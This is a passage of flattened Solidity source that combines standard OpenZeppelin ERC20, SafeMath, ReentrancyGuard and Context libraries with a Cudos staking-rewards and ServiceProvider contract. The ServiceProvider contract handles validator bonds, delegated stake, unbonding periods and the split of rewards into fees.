_isPaused) external { require( accessControls.hasAdminRole(_msgSender()), // StakingRewards.updateAllocPointForRewardProgramme: Only admin "OA" ); userActionsPaused = _isPaused; emit UserActionsPausedToggled(_isPaused); } // ******** // Internal // ******** function _getReward(uint256 _programmeId) internal { RewardProgramme storage rewardProgramme = rewardProgrammes[_programmeId]; UserInfo storage user = userInfo[_programmeId][_msgSender()]; if (user.amount > 0) { uint256 pending = user.amount.mul(rewardProgramme.accTokensPerShare).div(1e18).sub(user.rewardDebt); if (pending > 0) { user.rewardDebt = user.amount.mul(rewardProgramme.accTokensPerShare).div(1e18); rewardsGuildBank.withdrawTo(_msgSender(), pending); } } } function _getBlock() public virtual view returns (uint256) { return block.number; } function _findMinStakingLength(uint256 _programmeId) external view returns (uint256) { RewardProgramme storage rewardProgramme = rewardProgrammes[_programmeId]; uint256 minStakingLength = rewardProgramme.minStakingLengthInBlocks; return minStakingLength; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import {StakingRewards} from "./StakingRewards.sol"; contract ServiceProvider is ReentrancyGuard, Context { using SafeMath for uint256; using SafeERC20 for IERC20; struct WithdrawalRequest { uint256 withdrawalPermittedFrom; uint256 amount; uint256 lastStakedBlock; } mapping(address => WithdrawalRequest) public withdrawalRequest; address public controller; // StakingRewards address public serviceProvider; address public serviceProviderManager; IERC20 public cudosToken; /// @notice Allows the rewards fee to be specified to 2 DP uint256 public constant PERCENTAGE_MODULO = 100_00; /// @notice True when contract is initialised and the service provider has staked the required bond bool public isServiceProviderFullySetup; bool public exited; /// @notice Defined by the service provider when depositing their bond uint256 public rewardsFeePercentage; event StakedServiceProviderBond(address indexed serviceProvider, address indexed serviceProviderManager, uint256 indexed pid, uint256 rewardsFeePercentage); event IncreasedServiceProviderBond(address indexed serviceProvider, uint256 indexed pid, uint256 amount, uint256 totalAmount); event DecreasedServiceProviderBond(address indexed serviceProvider, uint256 indexed pid, uint256 amount, uint256 totalAmount); event ExitedServiceProviderBond(address indexed serviceProvider, uint256 indexed pid); event WithdrewServiceProviderStake(address indexed serviceProvider, uint256 amount, uint256 totalAmount); event AddDelegatedStake(address indexed user, uint256 amount, uint256 totalAmount); event WithdrawDelegatedStakeRequested(address indexed user, uint256 amount, uint256 totalAmount); event WithdrewDelegatedStake(address indexed user, uint256 amount, uint256 totalAmount); event ExitDelegatedStake(address indexed user, uint256 amount); event CalibratedServiceProviderFee(address indexed user, uint256 newFee); mapping(address => uint256) public delegatedStake; mapping(address => uint256) public rewardDebt; // rewardDebt is the total amount of rewards a user would have received if the state of the network were the same as now from the beginning. uint256 public totalDelegatedStake; uint256 public rewardsProgrammeId; uint256 public minStakingLength; uint256 public accTokensPerShare; // Accumulated reward tokens per share, times 1e18. See below. // accTokensPerShare is the average reward amount a user would have received per each block so far // if the state of the network were the same as now from the beginning. // Service provider not setup modifier notSetupSP() { require(isServiceProviderFullySetup, "SPC2"); _; } // Only Service Provider modifier onlySP() { require(_msgSender() == serviceProvider, "SPC1"); _; } // Only Service Provider Manager modifier onlySPM() { require(_msgSender() == serviceProviderManager, "SPC3"); _; } // Not a service provider method modifier allowedSP() { require(_msgSender() != serviceProviderManager && _msgSender() != serviceProvider, "SPC4"); _; } // Service provider has left modifier isExitedSP() { require(!exited, "SPHL"); _; } // _amount cannot be 0 modifier notZero(uint256 _amount) { require(_amount > 0, "SPC6"); _; } // this is called by StakingRewards to whitelist a service provider and is equivalent of the constructor function init(address _serviceProvider, IERC20 _cudosToken) external { // ServiceProvider.init: Fn can only be called once require(serviceProvider == address(0), "SPI1"); // ServiceProvider.init: Service provider cannot be zero address require(_serviceProvider != address(0), "SPI2"); // ServiceProvider.init: Cudos token cannot be zero address require(address(_cudosToken) != address(0), "SPI3"); serviceProvider = _serviceProvider; cudosToken = _cudosToken; controller = _msgSender(); // StakingRewards contract currently } // Called by the Service Provider to stake initial minimum cudo required to become a validator function stakeServiceProviderBond(uint256 _rewardsProgrammeId, uint256 _rewardsFeePercentage) nonReentrant external onlySP { serviceProviderManager = serviceProvider; _stakeServiceProviderBond(_rewardsProgrammeId, _rewardsFeePercentage); } function adminStakeServiceProviderBond(uint256 _rewardsProgrammeId, uint256 _rewardsFeePercentage) nonReentrant external { require( StakingRewards(controller).hasAdminRole(_msgSender()), // ServiceProvider.adminStakeServiceProviderBond: Only admin "OA" ); serviceProviderManager = _msgSender(); _stakeServiceProviderBond(_rewardsProgrammeId, _rewardsFeePercentage); } function increaseServiceProviderStake(uint256 _amount) nonReentrant external notSetupSP onlySPM notZero(_amount) { StakingRewards rewards = StakingRewards(controller); uint256 maxStakingAmountForServiceProviders = rewards.maxStakingAmountForServiceProviders(); uint256 amountStakedSoFar = rewards.amountStakedByUserInRewardProgramme(rewardsProgrammeId, address(this)); // ServiceProvider.increaseServiceProviderStake: Exceeds max staking require(amountStakedSoFar.add(_amount) <= maxStakingAmountForServiceProviders, "SPS1"); // Get and distribute any pending rewards _getAndDistributeRewardsWithMassUpdate(); // increase the service provider stake StakingRewards(controller).stake(rewardsProgrammeId, serviceProviderManager, _amount); // Update delegated stake delegatedStake[serviceProvider] = delegatedStake[serviceProvider].add(_amount); totalDelegatedStake = totalDelegatedStake.add(_amount); // Store date for lock-up calculation WithdrawalRequest storage withdrawalReq = withdrawalRequest[_msgSender()]; withdrawalReq.lastStakedBlock = rewards._getBlock(); emit IncreasedServiceProviderBond(serviceProvider, rewardsProgrammeId, _amount, delegatedStake[serviceProvider]); } function requestExcessServiceProviderStakeWithdrawal(uint256 _amount) nonReentrant external notSetupSP onlySPM notZero(_amount) { StakingRewards rewards = StakingRewards(controller); WithdrawalRequest storage withdrawalReq = withdrawalRequest[_msgSender()]; // Check if lockup has passed uint256 stakeStart = withdrawalReq.lastStakedBlock; // StakingRewards.withdraw: Min staking period has not yet passed require(rewards._getBlock() >= stakeStart.add(minStakingLength), "SPW5"); uint256 amountLeftAfterWithdrawal = delegatedStake[serviceProvider].sub(_amount); require( amountLeftAfterWithdrawal >= rewards.minRequiredStakingAmountForServiceProviders(), // ServiceProvider.requestExcessServiceProviderStakeWithdrawal: Remaining stake for a service provider cannot fall below minimum "SPW7" ); // Get and distribute any pending rewards _getAndDistributeRewardsWithMassUpdate(); // Apply the unbonding period uint256 unbondingPeriod = rewards.unbondingPeriod(); withdrawalReq.withdrawalPermittedFrom = rewards._getBlock().add(unbondingPeriod); withdrawalReq.amount = withdrawalReq.amount.add(_amount); delegatedStake[serviceProvider] = amountLeftAfterWithdrawal; totalDelegatedStake = totalDelegatedStake.sub(_amount); rewards.withdraw(rewardsProgrammeId, address(this), _amount); emit DecreasedServiceProviderBond(serviceProvider, rewardsProgrammeId, _amount, delegatedStake[serviceProvider]); } // only called by service provider // all CUDOs staked by service provider and any delegated stake plus rewards will be returned to this contract // delegators will have to call their own exit methods to get their original stake and rewards function exitAsServiceProvider() nonReentrant external onlySPM { StakingRewards rewards = StakingRewards(controller); WithdrawalRequest storage withdrawalReq = withdrawalRequest[_msgSender()]; // Check if lockup has passed uint256 stakeStart = withdrawalReq.lastStakedBlock; // StakingRewards.withdraw: Min staking period has not yet passed require(rewards._getBlock() >= stakeStart.add(minStakingLength), "SPW5"); // Distribute rewards to the service provider and update delegator reward entitlement _getAndDistributeRewardsWithMassUpdate(); // Assign the unbonding period uint256 unbondingPeriod = rewards.unbondingPeriod(); withdrawalReq.withdrawalPermittedFrom = rewards._getBlock().add(unbondingPeriod); withdrawalReq.amount = withdrawalReq.amount.add(delegatedStake[serviceProvider]); // Exit the rewards program bringing in all staked CUDO and earned rewards StakingRewards(controller).exit(rewardsProgrammeId); // Update service provider state uint256 serviceProviderDelegatedStake = delegatedStake[serviceProvider]; delegatedStake[serviceProvider] = 0; totalDelegatedStake = totalDelegatedStake.sub(serviceProviderDelegatedStake); // this will mean a service provider could start the program again with stakeServiceProviderBond() isServiceProviderFullySetup = false; // prevents a SP from re-entering and causing loads of problems!!! exited = true; // Don't transfer tokens at this point. The service provider needs to wait for the unbonding period first, then needs to call withdrawServiceProviderStake() emit ExitedServiceProviderBond(serviceProvider, rewardsProgrammeId); } // To be called only by a service provider function withdrawServiceProviderStake() nonReentrant external onlySPM { WithdrawalRequest storage withdrawalReq = withdrawalRequest[_msgSender()]; // ServiceProvider.withdrawServiceProviderStake: no withdrawal request in flight require(withdrawalReq.amount > 0, "SPW5"); require( StakingRewards(controller)._getBlock() >= withdrawalReq.withdrawalPermittedFrom, // ServiceProvider.withdrawServiceProviderStake: Not passed unbonding period "SPW3" ); uint256 withdrawalRequestAmount = withdrawalReq.amount; withdrawalReq.amount = 0; cudosToken.transfer(_msgSender(), withdrawalRequestAmount); emit WithdrewServiceProviderStake(_msgSender(), withdrawalRequestAmount, delegatedStake[serviceProvider]); } // Called by a CUDO holder that wants to delegate their stake to a service provider function delegateStake(uint256 _amount) nonReentrant external notSetupSP allowedSP notZero(_amount) { // get and distribute any pending rewards _getAndDistributeRewardsWithMassUpdate(); // now stake - no rewards will be sent back StakingRewards(controller).stake(rewardsProgrammeId, _msgSender(), _amount); // Update user and total delegated stake after _distributeRewards so that calc issues don't arise in _distributeRewards uint256 previousDelegatedStake = delegatedStake[_msgSender()]; delegatedStake[_msgSender()] = previousDelegatedStake.add(_amount); totalDelegatedStake = totalDelegatedStake.add(_amount); // we need to update the reward debt so that the user doesn't suddenly have rewards due rewardDebt[_msgSender()] = delegatedStake[_msgSender()].mul(accTokensPerShare).div(1e18); // Store date for lock-up calculation WithdrawalRequest storage withdrawalReq = withdrawalRequest[_msgSender()]; withdrawalReq.lastStakedBlock = StakingRewards(controller)._getBlock(); emit AddDelegatedStake(_msgSender(), _amount, delegatedStake[_msgSender()]); } // Called by a CUDO holder that has previously delegated stake to the service provider function requestDelegatedStakeWithdrawal(uint256 _amount) nonReentrant external isExitedSP notSetupSP notZero(_amount) allowedSP { // ServiceProvider.requestDelegatedStakeWithdrawal: Amount exceeds delegated stake require(delegatedStake[_msgSender()] >= _amount, "SPW4"); StakingRewards rewards = StakingRewards(controller); WithdrawalRequest storage withdrawalReq = withdrawalRequest[_msgSender()]; // Check if lockup has passed uint256 stakeStart = withdrawalReq.lastStakedBlock; // StakingRewards.withdraw: Min staking period has not yet passed require(rewards._getBlock() >= stakeStart.add(minStakingLength), "SPW5"); _getAndDistributeRewardsWithMassUpdate(); uint256 unbondingPeriod = rewards.unbondingPeriod(); withdrawalReq.withdrawalPermittedFrom = rewards._getBlock().add(unbondingPeriod); withdrawalReq.amount = withdrawalReq.amount.add(_amount); delegatedStake[_msgSender()] = delegatedStake[_msgSender()].sub(_amount); totalDelegatedStake = totalDelegatedStake.sub(_amount); rewards.withdraw(rewardsProgrammeId, address(this), _amount); // we need to update the reward debt so that the reward debt is not too high due to the decrease in staked amount rewardDebt[_msgSender()] = delegatedStake[_msgSender()].mul(accTokensPerShare).div(1e18); emit WithdrawDelegatedStakeRequested(_msgSender(), _amount, delegatedStake[_msgSender()]); } function withdrawDelegatedStake() nonReentrant external isExitedSP notSetupSP allowedSP { WithdrawalRequest storage withdrawalReq = withdrawalRequest[_msgSender()]; // ServiceProvider.withdrawDelegatedStake: no withdrawal request in flight require(withdrawalReq.amount > 0, "SPW2"); require( StakingRewards(controller)._getBlock() >= withdrawalReq.withdrawalPermittedFrom, // ServiceProvider.withdrawDelegatedStake: Not passed unbonding period "SPW3" ); uint256 withdrawalRequestAmount = withdrawalReq.amount; withdrawalReq.amount = 0; cudosToken.transfer(_msgSender(), withdrawalRequestAmount); emit WithdrewDelegatedStake(_msgSender(), withdrawalRequestAmount, delegatedStake[_msgSender()]); } // Can be called by a delegator when a service provider exits // Service provider must have exited when the delegator calls this method. Otherwise, they call withdrawDelegatedStake function exitAsDelegator() nonReentrant external { // ServiceProvider.exitAsDelegator: Service provider has not exited require(exited, "SPE1"); WithdrawalRequest storage withdrawalReq = withdrawalRequest[_msgSender()]; uint256 withdrawalRequestAmount = withdrawalReq.amount; uint256 userDelegatedStake = delegatedStake[_msgSender()]; uint256 totalPendingWithdrawal = withdrawalRequestAmount.add(userDelegatedStake); // ServiceProvider.exitAsDelegator: No pending withdrawal require(totalPendingWithdrawal > 0, "SPW1"); if (userDelegatedStake > 0) { // accTokensPerShare would have already been updated when the service provider exited _sendDelegatorAnyPendingRewards(); } withdrawalReq.amount = 0; delegatedStake[_msgSender()] = 0; totalDelegatedStake = totalDelegatedStake.sub(userDelegatedStake); // Send them back their stake cudosToken.transfer(_msgSender(), totalPendingWithdrawal); // update rewardDebt to avoid errors in the pendingRewards function rewardDebt[_msgSender()] = 0; emit ExitDelegatedStake(_msgSender(), totalPendingWithdrawal); } // Should be possible for anyone to call this to get the reward from the StakingRewards contract // The total rewards due to all delegators will have the rewardsFeePercentage deducted and sent to the Service Provider function getReward() external isExitedSP notSetupSP { _getAndDistributeRewards(); } function callibrateServiceProviderFee() external { StakingRewards rewards = StakingRewards(controller); uint256 minServiceProviderFee = rewards.minServiceProviderFee(); // current fee is too low - increase to minServiceProviderFee if (rewardsFeePercentage < minServiceProviderFee) { rewardsFeePercentage = minServiceProviderFee; emit CalibratedServiceProviderFee(_msgSender(), rewardsFeePercentage); } } ///////////////// // View methods ///////////////// function pendingRewards(address _user) public view returns (uint256) { uint256 pendingRewardsServiceProviderAndDelegators = StakingRewards(controller).pendingCudoRewards( rewardsProgrammeId, address(this) ); ( uint256 stakeDelegatedToServiceProvider, uint256 rewardsFee, uint256 baseRewardsDueToServiceProvider, uint256 netRewardsDueToDelegators ) = _workOutHowMuchDueToServiceProviderAndDelegators(pendingRewardsServiceProviderAndDelegators); if (_user == serviceProvider && _user == serviceProviderManager) { return baseRewardsDueToServiceProvider.add(rewardsFee); } else if (_user == serviceProvider){ return rewardsFee; } else if (_user == serviceProviderManager){ return baseRewardsDueToServiceProvider; } uint256 _accTokensPerShare = accTokensPerShare; if (stakeDelegatedToServiceProvider > 0) { // Update accTokensPerShare which governs rewards token due to each delegator _accTokensPerShare = _accTokensPerShare.add( netRewardsDueToDelegators.mul(1e18).div(stakeDelegatedToServiceProvider) ); } return delegatedStake[_user].mul(_accTokensPerShare).div(1e18).sub(rewardDebt[_user]); } /////////////////// // Private methods /////////////////// function _getAndDistributeRewards() private { uint256 cudosBalanceBeforeGetReward = cudosToken.balanceOf(address(this)); StakingRewards(controller).getReward(rewardsProgrammeId); uint256 cudosBalanceAfterGetReward = cudosToken.balanceOf(address(this)); // This is the amount of CUDO that we received from the the above getReward() call uint256 rewardDelta = cudosBalanceAfterGetReward.sub(cudosBalanceBeforeGetReward); // If this service provider contract has earned additional rewards since the last time, they must be distributed first if (rewardDelta > 0) { _distributeRewards(rewardDelta); } // Service provider(s) always receive their rewards first. // If sender is not serviceProvider or serviceProviderManager, we send them their share here. if (_msgSender() != serviceProviderManager && _msgSender() != serviceProvider) { // check sender has a delegatedStake if (delegatedStake[_msgSender()] > 0) { _sendDelegatorAnyPendingRewards(); } } } function _getAndDistributeRewardsWithMassUpdate() private { uint256 cudosBalanceBeforeGetReward = cudosToken.balanceOf(address(this)); StakingRewards(controller).getRewardWithMassUpdate(rewardsProgrammeId); uint256 cudosBalanceAfterGetReward = cudosToken.balanceOf(address(this)); // This is the amount of CUDO that we received from the the above getReward() call uint256 rewardDelta = cudosBalanceAfterGetReward.sub(cudosBalanceBeforeGetReward); // If this service provider contract has earned additional rewards since the last time, they must be distributed first if (rewardDelta > 0) { _distributeRewards(rewardDelta); } // Service provider(s) always receive their rewards first. // If sender is not serviceProvider or serviceProviderManager, we send them their share here. if (_msgSender() != serviceProviderManager && _msgSender() != serviceProvider) { // check sender has a delegatedStake if (delegatedStake[_msgSender()] > 0) { _sendDelegatorAnyPendingRewards(); } } } // Called when this service provider contract has earned additional rewards. // Increases delagators' pending rewards, and sends sevice provider(s) their share. function _distributeRewards(uint256 _amount) private { ( uint256 stakeDelegatedToServiceProvider, uint256 rewardsFee, uint256 baseRewardsDueToServiceProvider, uint256 netRewardsDueToDelegators ) = _workOutHowMuchDueToServiceProviderAndDelegators(_amount); // Delegators' pending rewards are updated if (stakeDelegatedToServiceProvider > 0) { // Update accTokensPerShare which governs rewards token due to each delegator accTokensPerShare = accTokensPerShare.add( netRewardsDueToDelegators.mul(1e18).div(stakeDelegatedToServiceProvider) ); } // Service provider(s) receive their share(s) if (serviceProvider == serviceProviderManager){ cudosToken.transfer(serviceProvider, baseRewardsDueToServiceProvider.add(rewardsFee)); } else { cudosToken.transfer(serviceProviderManager, baseRewardsDueToServiceProvider); cudosToken.transfer(serviceProvider, rewardsFee); } } function _workOutHowMuchDueToServiceProviderAndDelegators(uint256 _amount) private view returns (uint256, uint256, uint256, uint256) { // In case everyone (validator and delegators) has exited, we still want the pendingRewards function to return a number, which is zero in this case, // rather than some kind of a message. So we first treat this edge case separately. if (totalDelegatedStake == 0) { return (0, 0, 0, 0); } // With this edge case out of the way, first work out the total stake of the delegators uint256 stakeDelegatedToServiceProvider = totalDelegatedStake.sub(delegatedStake[serviceProvider]); uint256 percentageOfStakeThatIsDelegatedToServiceProvider = stakeDelegatedToServiceProvider.mul(PERCENTAGE_MODULO).div(totalDelegatedStake); // Delegators' share before the commission cut uint256 grossRewardsDueToDelegators = _amount.mul(percentageOfStakeThatIsDelegatedToServiceProvider).div(PERCENTAGE_MODULO); // Validator's share before the commission uint256 baseRewardsDueToServiceProvider = _amount.sub(grossRewardsDueToDelegators); // Validator's commission uint256 rewardsFee = grossRewardsDueToDelegators.mul(rewardsFeePercentage).div(PERCENTAGE_MODULO); // Delegators' share after the commission cut uint256 netRewardsDueToDelegators = grossRewardsDueToDelegators.sub(rewardsFee); return (stakeDelegatedToServiceProvider, rewardsFee, baseRewardsDueToServiceProvider, netRewardsDueToDelegators); } // Ensure this is not called when sender is service provider function _sendDelegatorAnyPendingRewards() private { uint256 pending = delegatedStake[_msgSender()].mul(accTokensPerShare).div(1e18).sub(rewardDebt[_msgSender()]); if (pending > 0) { rewardDebt[_msgSender()] = delegatedStake[_msgSender()].mul(accTokensPerShare).div(1e18); cudosToken.transfer(_msgSender(), pending); } } function _stakeServiceProviderBond(uint256 _rewardsProgrammeId, uint256 _rewardsFeePercentage) private { // ServiceProvider.stakeServiceProviderBond: Service provider already set up require(!isServiceProviderFullySetup, "SPC7"); // ServiceProvider.stakeServiceProviderBond: Exited service provider cannot reenter require(!exited, "ECR1"); // ServiceProvider.stakeServiceProviderBond: Fee percentage must be between zero and one require(_rewardsFeePercentage > 0 && _rewardsFeePercentage < PERCENTAGE_MODULO, "FP2"); StakingRewards rewards = StakingRewards(controller); uint256 minRequiredStakingAmountForServiceProviders = rewards.minRequiredStakingAmountForServiceProviders(); uint256 minServiceProviderFee = rewards.minServiceProviderFee(); //ServiceProvider.stakeServiceProviderBond: Fee percentage must be greater or equal to minServiceProviderFee require(_rewardsFeePercentage >= minServiceProviderFee, "SPF1"); rewardsFeePercentage = _rewardsFeePercentage; rewardsProgrammeId = _rewardsProgrammeId; minStakingLength = rewards._findMinStakingLength(_rewardsProgrammeId); 